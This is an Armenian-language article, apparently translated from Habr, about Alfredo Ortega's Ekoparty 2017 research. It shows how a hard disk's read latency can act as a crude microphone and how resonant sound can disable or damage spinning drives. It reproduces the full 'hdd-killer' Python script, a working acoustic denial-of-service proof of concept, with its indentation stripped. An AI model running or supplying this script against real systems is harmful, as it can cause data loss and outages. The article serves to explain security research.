Բուենոս Այրեսում Ekoparty 2017 համակարգչային անվտանգության համաժողովում արգենտինացի հաքեր Ալֆրեդո Օրտեգան ցուցադրել է շատ հետաքրքիր զարգացում` տարածքների գաղտնի գաղտնալսման համակարգ՝ առանց խոսափողի: Ձայն
HDD-ը հիմնականում ընդունում է բարձր ինտենսիվության ցածր հաճախականության ձայներ, ոտնաձայներ և այլ թրթռումներ: Մարդկային խոսքը դեռ չի կարող ճանաչվել, թեև գիտնականները
Ձայնը օդի կամ այլ միջավայրի թրթռումն է: Մարդը դրանք ընկալում է թմբկաթաղանթի միջոցով, որը թրթռումները փոխանցում է ներքին ականջին։ Խոսափողը նախագծված է մոտավորապես ականջի նման. այստեղ նույնպես թրթռումները գրանցվում են բարակ թաղանթով, որը գրգռում է էլեկտրական իմպուլսը։ Կոշտ սկավառակը, իհարկե, ենթարկվում է նաև միկրոսկոպիկ թրթռումների՝ շրջակա օդի տատանումների պատճառով։ Սա հայտնի է նույնիսկ HDD-ների տեխնիկական բնութագրերից. արտադրողները սովորաբար նշում են թրթռման առավելագույն թույլատրելի մակարդակը, իսկ կոշտ սկավառակն ինքը հաճախ փորձում է տեղադրել այն ռետինից կամ այլ մեկուսիչ նյութից պատրաստված թրթռումակայուն տարայի մեջ: Այստեղից կարելի է եզրակացնել, որ ձայները կարելի է ձայնագրել HDD-ի միջոցով: Մնում է միայն պարզել, թե ինչպես:
Ալֆրեդո Օրտեգան առաջարկեց կողմնակի ալիքի հարձակման եզակի տարբերակ, այն է՝ ժամանակային հարձակումը: Այս հարձակումը հիմնված է այն ենթադրության վրա, որ սարքի վրա տարբեր գործողություններ են կատարվում տարբեր ժամանակներում՝ կախված տրված մուտքային տվյալներից: Այս դեպքում «մուտքային տվյալները» ընթերցման գլխի և HDD սկուտեղի թրթռանքներն են, որոնք փոխկապակցված են շրջակա միջավայրի, այսինքն՝ ձայնի թրթռումների հետ։ Այսպիսով, հաշվարկման ժամանակը չափելով և տվյալների վիճակագրական վերլուծություն կատարելով, հնարավոր է չափել գլխի/սկուտեղի թրթռումները, հետևաբար՝ միջավայրի թրթռումները: Որքան երկար է տվյալների ընթերցման ուշացումը, այնքան ավելի ուժեղ են HDD-ի թրթռումները և, հետևաբար, ավելի բարձր ձայնը:
Ինչպե՞ս չափել կոշտ սկավառակի թրթռումը: Շատ պարզ. պարզապես գործարկել համակարգային զանգը read ()
— և գրանցեք ավարտելու համար պահանջվող ժամանակը: Ժամանակակից օպերացիոն համակարգերը թույլ են տալիս նանվայրկյան ճշգրտությամբ կարդալ համակարգային զանգերի ժամանակացույցը:
Սեկտորից տեղեկատվության ընթերցման արագությունը կախված է գլխի և սկուտեղի դիրքից, որը փոխկապակցված է HDD-ի պատյանի թրթռումների հետ: Այսքանը:
Վիճակագրական վերլուծությունն իրականացվում է պարզ Kscope օգտակար գործիքի միջոցով: Ինչպես ասում են՝ ամեն ինչ հնարամիտ պարզ է։
Kscope կոմունալ (stat() syscall)
Kscope-ը փոքր ծրագիր է համակարգային զանգերի կատարման ժամանակի փոքր տարբերությունները պատկերացնելու համար: Աղբյուր
Առանձին պահոցում read ()
.
Ձայնի ձայնագրման ցուցադրում HDD-ի միջոցով, Kscope կոմունալ ծրագրի գործարկում
Իհարկե, խոսքն այս կերպ չի կարելի հասկանալ, բայց HDD-ն բավականին հարմար է որպես թրթռման սենսոր: Օրինակ, կարող եք գրանցվել, եթե կոշտ կոշիկներով կամ ոտաբոբիկ անձը համակարգչով մտել է սենյակ (հավանաբար, եթե հարձակվողը փափուկ սպորտային կոշիկներ է կրում կամ հատակին հաստ գորգ կա, HDD-ն չի կարողանա գրանցել թրթռումները. սա արժե ստուգել): Համակարգիչը ի վիճակի է գրանցել կոտրված ապակի կամ այլ միջադեպեր ուժեղ ձայնի ինտենսիվությամբ: Այսինքն՝ կոշտ սկավառակը կարող է ծառայել որպես մի տեսակ չարտոնված ներխուժման հայտնաբերման համակարգ։
HDD մարդասպան
Ի դեպ, նմանատիպ տեխնիկա կարող է օգտագործվել կոշտ սկավառակների անջատման համար: Միայն այստեղ մենք չենք հեռացնում տատանումները HDD-ից, այլ ընդհակառակը, մենք առաջացնում ենք տատանումներ, որոնք սնվում են HDD-ին: Եթե բարձրախոսից ձայն եք նվագարկում HDD-ի հաճախականության հետ ռեզոնանսվող հաճախականությամբ, համակարգը շուտով անջատում է սարքը I/O սխալով (Linux-ի միջուկն ամբողջությամբ անջատում է HDD-ը 120 վայրկյան հետո): Կոշտ սկավառակն ինքնին կարող է անդառնալի վնաս կրել:
Linux միջուկն անջատեց կոշտ սկավառակը Edifier r120u USB բարձրախոսի բարձրախոսի միջոցով ռեզոնանսային հաճախականությամբ ձայն հաղորդելուց 19 վայրկյանից հետո: Բարձրախոսը միացված է հզորության մոտ մեկ քառորդով (100 մՎտ-ից պակաս) և գտնվում է HDD-ից 20 սմ հեռավորության վրա, որն ուղղված է սեղանին՝ թրթռումները ուժեղացնելու համար: Շրջանակ -ից
Հետաքրքիր է, որ HDD-ների վրա նման «հարձակումները» երբեմն պատահական են լինում առօրյա կյանքում: Օրինակ, 2016 թվականի սեպտեմբերին ING Bank տվյալների կենտրոնը ստիպված եղավ դադարեցնել գործունեությունը 10 ժամով հրդեհային վարժանքից հետո:
Տվյալների կենտրոնի կոշտ սկավառակների վրա մարդու ճչոցի ցուցադրություն: Հետաձգման չափում
Ռեզոնանսային ձայն ստեղծելու համար Ալֆրեդո Օրտեգան գրել է Python-ի սցենար, որը կոչվում է
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com